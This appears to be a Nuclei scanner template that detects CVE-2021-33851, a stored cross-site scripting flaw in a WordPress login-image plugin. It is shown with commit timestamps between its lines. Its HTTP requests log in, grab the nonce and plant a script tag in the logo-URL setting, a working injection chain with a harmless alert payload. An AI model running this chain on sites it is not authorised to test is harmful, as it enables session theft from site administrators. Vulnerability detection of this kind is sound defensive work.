2022-10-18 23:15:31 +00:00
id : CVE-2021-33851
info :
2022-12-09 21:40:18 +00:00
name : WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
2022-10-18 23:15:31 +00:00
author : 8authur
severity : medium
description : |
2022-12-09 21:40:18 +00:00
WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
2022-10-18 23:15:31 +00:00
reference :
2022-10-21 08:41:55 +00:00
- https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
- https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
2022-10-18 23:15:31 +00:00
- https://wordpress.org/plugins/customize-login-image/
2022-10-21 08:41:55 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2021-33851
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2022-10-18 23:15:31 +00:00
classification :
2022-10-21 11:22:10 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2022-10-18 23:15:31 +00:00
cve-id : CVE-2021-33851
2022-10-21 11:22:10 +00:00
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00069
2024-03-23 09:28:19 +00:00
epss-percentile : 0.2831
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
2022-10-21 08:41:55 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : apasionados
product : customize_login_image
2023-09-06 12:09:01 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados
2022-10-18 23:15:31 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-18 23:15:31 +00:00
- raw :
- |
2022-10-21 07:20:20 +00:00
POST /wp-login.php HTTP/1.1
2022-10-18 23:15:31 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-21 00:19:34 +00:00
2022-10-18 23:15:31 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
2022-10-21 07:20:20 +00:00
GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
2022-10-18 23:15:31 +00:00
Host : {{Hostname}}
- |
2022-10-21 07:20:20 +00:00
POST /wp-admin/options.php HTTP/1.1
2022-10-18 23:15:31 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-10-21 00:19:34 +00:00
2022-10-21 08:41:55 +00:00
option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
2022-10-18 23:15:31 +00:00
- |
2022-10-21 07:20:20 +00:00
GET /wp-login.php HTTP/1.1
2022-10-18 23:15:31 +00:00
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_4 == 200'
2023-06-19 21:10:30 +00:00
- 'contains(header_4, "text/html")'
2022-10-21 08:41:55 +00:00
- 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
2022-10-21 00:19:34 +00:00
condition : and
2022-10-21 08:44:01 +00:00
2022-10-21 08:41:55 +00:00
extractors :
- type : regex
name : nonce
group : 1
regex :
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal : true
2023-07-11 19:49:27 +00:00
part : body
2024-03-25 11:57:16 +00:00
# digest: 490a004630440220098b618e64216cc6e575a474182053eae704f5b3d91f98e7851d52a79480d57002207755a534f0e8813a54b102ebe3fb5b8a4f145c17ff32468ab7f25305f3536832:922c64590222798bb761d5b6d8e72950